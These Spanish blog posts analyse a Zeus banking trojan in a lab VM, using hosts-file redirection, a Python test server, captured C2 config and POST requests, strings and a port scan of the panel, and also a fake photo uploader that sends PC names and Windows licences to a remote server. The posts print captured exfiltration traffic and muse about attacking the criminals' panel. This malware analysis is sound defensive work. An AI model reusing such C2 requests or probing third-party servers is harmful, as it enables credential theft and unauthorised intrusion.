Detrás de un panel de Zeus II

Hola!

Muy buenas a todos/as!

En la entrada de ayer explicaba por encima que existen un tipo de troyanos enfocados al Home banking, estos troyanos están especializados en el robo de credenciales de los clientes para acceder a la banca electrónica, para luego cometer fraude  con esos datos robados.

Con las capturas de Wireshark, se podía observar como el troyano intentaba conectarse con el panel remoto, para descargar la configuración. Con esta configuración inyecta en Internet Explorer de manera que la página web original podría ser modificada.

Por ejemplo:

Como podemos ver el dato más impactante que pide la aplicación web se trata de La Firma electrónica del usuario, mas la clave, mas los otros datos.

La problemática viene dada cuando sin saber si este troyano afecta a tu banco, antes de que puedas hacer las pruebas el dominio, ha sido dado de baja, como resultado el troyano no podrá bajar la configuración y completar su proceso de manera correcta.

En este caso he rescatado la configuración que Zeus intentaba obtener del panel de control, así que ahora engañaremos al troyano para que obtenga la configuración, pero seremos nosotros mismos quien se la sirvamos.

En este escenario tendremos la máquina virtual y montaremos un pequeño servidor web y obligaremos al troyano a acceder a nuestro servidor, para el troyano será totalmente transparente.

Si recordáis las trazas de red en el artículo anterior:

GET /mm.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Host: ejemplo.ru
Cache-Control: no-cache

Editaremos el archivo hosts de la máquina infectada hacia nuestro servidor web :)

# Copyright (c) 1993-1999 Microsoft Corp.
#
# Éste es un ejemplo de archivo HOSTS usado por Microsoft TCP/IP para Windows.
#
# Este archivo contiene las asignaciones de las direcciones IP a los nombres de
# host. Cada entrada debe permanecer en una línea individual. La dirección IP
# debe ponerse en la primera columna, seguida del nombre de host correspondiente.
# La dirección IP y el nombre de host deben separarse con al menos un espacio.
#
#
# También pueden insertarse comentarios (como éste) en líneas individuales
# o a continuación del nombre de equipo indicándolos con el símbolo “#”
#
# Por ejemplo:
#
# 102.54.94.97 rhino.acme.com # servidor origen
# 38.25.63.10 x.acme.com # host cliente x

127.0.0.1 localhost
192.168.1.250 ejemplo.ru

Ahora mediante Python crearemos un pequeño servidor web desde donde serviremos la configuración:

import SimpleHTTPServer
import SocketServer

PORT = 80

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()

Para mas información se puede consultar la documentación de Python

Ahora ejecutaremos el Malware en cuestión, y observaremos como obtiene el archivo de configuración de nuestro pequeño servidor web, además de intentar enviar los datos al panel remoto.

serving at port 80
192.168.1.250 – - [15/Feb/2012 00:21:53] “GET /mm.bin HTTP/1.1″ 200 -
192.168.1.250 – - [15/Feb/2012 00:22:23] code 501, message Unsupported method (‘POST’)
192.168.1.250 – - [15/Feb/2012 00:22:23] “POST /panel/acc.php HTTP/1.1″ 501 -
192.168.1.250 – - [15/Feb/2012 00:22:29] code 501, message Unsupported method (‘POST’)
192.168.1.250 – - [15/Feb/2012 00:22:29] “POST /panel/acc.php HTTP/1.1″ 501 -

Bingo! Ha conseguido recoger el archivo de configuración, pero como no dispongo de la configuración de Zeus, no puede hacer el POST correcto al servidor web, pero nos sirve para que al menos recoja el archivo de configuración.

En esta parte del artículo, hemos podido comprobar como el Malware se conecta a nuestro servidor web, ya que lo engañamos modificado el archivo hosts y como este recoge la configuración.

Saludos

 

 

Detrás de un panel de Zeus

Hola!

Muy buenas a todos/as!

Existe un grupo determinado de troyanos que se dedican al Home banking, la banca electrónica. Algunos actúan como Keyloguer, capturan los datos introducidos por el usuario y estos datos son enviados a un panel web, enviados por correo etc..

Otro tipos de troyanos interactúan directamente con la Banca, solicitan los datos al usuario y, además conducen al usuario a la web legítima sin que este se percate de lo ocurrido. Este tipo de infecciones pueden venir a través de correo electrónico o pueden haber páginas webs maliciosas que contengan enlaces a software malicioso.

En este caso hay una máquina virtual con un software creado con un Builder del troyano Zeus.

Estos Builder cargan una configuración al binario, de donde ha de enviar los datos, el nombre del binario.. etc  Este software lo distribuyen mediante diferentes vías y consiguen infectar usuarios que envían los datos donde el criminal tenga un panel web esperando la recogida de información.

En la máquina Windows XP que está infectada con Zeus, el cambio en el sistema de archivos que ha echo el troyano, lo mas significativo es:

El binario se ha hecho una copia y guardado en la carpeta Datos de Programa, entre otras cosas.

En las conexiones de red, el troyano intentará conectarse con el panel de control que el criminal haya configurado con el Builder y descargarse la configuración.

GET /mm.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Host: ejemplo.ru
Cache-Control: no-cache

El troyano se descarga la configuración que analizaremos en otro artículo.

También podemos ver como envía los datos al panel

POST /panel/acc.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Host: ejemplo.ru
Content-Length: 387
Connection: Keep-Alive
Cache-Control: no-cache

Ahora extraeremos los datos mediante strings del fichero así podemos ver algo de información del binario.

Aquí tenemos la cabecera de los strings extraídos:

!This program cannot be run in DOS mode.
Rich
UPX0
UPX1
.rsrc
3.03

Se puede ver que el troyano ha sido tratado con un packer estos packer dificultan el análisis por parte de los reversers. UPX es un compresor Open Source, pero en el caso de Malware se usa una versión modificada que dificulta la ingeniería inversa.

Seguramente el Builder lo lleva incorporado.

Hay mas cadenas interesantes que se pueden extraer del binario en cuestión:

XPTPSW
KERNEL32.DLL
advapi32.dll
user32.dll
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess
RegCloseKey
FlashWindowEx
$/x7
6Rg)$\!
`7y5Gaz

Vaya, dll propias de sistema que interactúan con el troyano..

En el panel existen estos puertos abiertos:

22/tcp open ssh syn-ack
25/tcp open smtp syn-ack
80/tcp open http syn-ack
111/tcp open rpcbind syn-ack
427/tcp open svrloc syn-ack
631/tcp open ipp syn-ack
1720/tcp filtered H.323/Q.931 no-response
2000/tcp filtered cisco-sccp no-response
5060/tcp filtered sip no-response

En el siguiente capítulo seguiremos tratando con este troyano, espero que os haya gustado.

Saludos!!

¿Que se esconde detrás del Uploader de fotos?

Hola!

Muy buenas a todos/as!

Por ser el informático de la familia te encuentras muchas veces con mucho malware que tienes que quitar, aunque si que es verdad los últimos ordenadores que me he encontrado no solo he limpiado el Malware si no, que, además me he quedado con el binario para jugar con él :D . Esta última vez se trata de un software que simula ser un uploader de fotos. Quería saber como funcionaba el Malware así que preparé mi máquina virtual y lo ejecuté a ver que pasaba.

No solo el Software no funcionaba como Uploader sino, que, además generaba cierta actividad de red.

Las peticiones DNS:

Esto ya me resultó raro, aunque tratandose de Malware.. es normal. Pero entonces observe estas peticiones

Peticiones HTTP:

Al parecer se añade un usuario a una web remota. El usuario es el nombre de mi pc, y la password la licencia de Windows. Es decir, envía a una base de datos remota mi licencia de Windows. Esto no lo había visto ahora, mola.

Quería saber como Robtex si se trataba de un sistema autónomo y había mas hosts cometiendo fraude.

Alojando en Rusia, como no :-) !

En la página web existen diferentes directorios, entre ellos:

Este es el Software que se descarga la gente que accede por error a la URI en cuestión

De las conexiones capturadas con Wireshark se puede ver:

GET /home?action=add&username=MI%20PC&password=password&app=Windows&pcname=PERSONAL-23AB6E&sitename=Microsoft HTTP/1.1
User-Agent: HardCore Software For : Public
Host: ejemplo.com

HTTP/1.1 301 Moved Permanently
Date: Sun, 12 Feb 2012 14:24:02 GMT
Server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Location: http://cantportforward.com/home/?action=add&username=MI%20PC&password=password&app=Windows&pcname=PERSONAL-23AB6E&sitename=Microsoft
Content-Type: text/html
Content-Length: 413

<html>
<head><title> 301 Moved Permanently
</title></head>
<body><h1> 301 Moved Permanently
</h1>
The document has been permanently moved to <A HREF=”%s”>here</A>.<hr />
Powered By <a href=’http://www.litespeedtech.com’>LiteSpeed Web Server</a><br />
<font face=”Verdana, Arial, Helvetica” size=-1>LiteSpeed Technologies is not responsible for administration and contents of this web site!</font></body></html>
GET /home/?action=add&username=MI%20PC&password=ejemplo&app=Windows&pcname=PERSONAL-23AB6E&sitename=Microsoft HTTP/1.1
User-Agent:  Public
Host: ejemplo.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Sun, 12 Feb 2012 14:24:02 GMT
Server: LiteSpeed
Connection: close
Set-Cookie: PHPSESSID=a8711e0c5081845ef1838155557b3714; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 0

En otro de los directorios,a  los que puedes acceder te encuentras con esta página:

Si se observa el código fuente, una vez loqueado puedes hacer las siguientes búsquedas:

<form name='search' method='GET' action='index.php?action=search'>
		<strong>Search for:</strong> <input type='text' name='query' size='20' value="xp"> In: <select name='in'>
		<option  value='0'>Softwares</option>
		<option  value='1'>Sitename</option>
		<option selected=selected value='2'>Username</option>
		<option  value='3'>Password</option>
		<option  value='4'>PC Name</option>
		<option  value='5'>IP Address</option>
		<option  value='6'>Date</option>
		</select>
		<input type='submit' value='Search' name='search'>
	</form>

Parece ser que se confirma mi sospecha de que es una base de datos donde se guardan ordenadores junto con sus licencias.

Para acabar, el panel será vulnerable a SQL Injection? El servidor tendrá alguna vulnerabilidad que pueda ser explotada?

En fin.. seguiremos trabajando en ello

Recomendación de Domingo: Cyberhades

Hola!

Muy buenas a todos/as!

Hoy que estamos de Domingo, aunque el artículo no lo esté escribiendo hoy.. quiero recomendaros una de las webs que MAS me gustan, que MAS se actualizan y que MAS temática variada puedes encontrar. Siempre, siempre te sorprenden con material nuevo. Y al menos, a mi, me es imposible poder digerir bien todo lo que exponen, tutoriales que recomiendan etc.. La verdad es que en mi Reader tengo como 20 páginas por leer de ellos, de tutoriales, de cosas de Star Wars.. etc..

Os recomiendo seguir esta web si todavía NO la conocéis.. la verdad es que os dejará helados de la calidad del sitio web.

Además de en el área de seguridad siempre sorprenderte con las últimas noticias, algún que otro análisis de un CFP que hallan pasado, y suelen hacer las explicaciones de manera muy digerible para todos.

Para ir a Cyberhades podéis ir desde aquí:

Cyberhades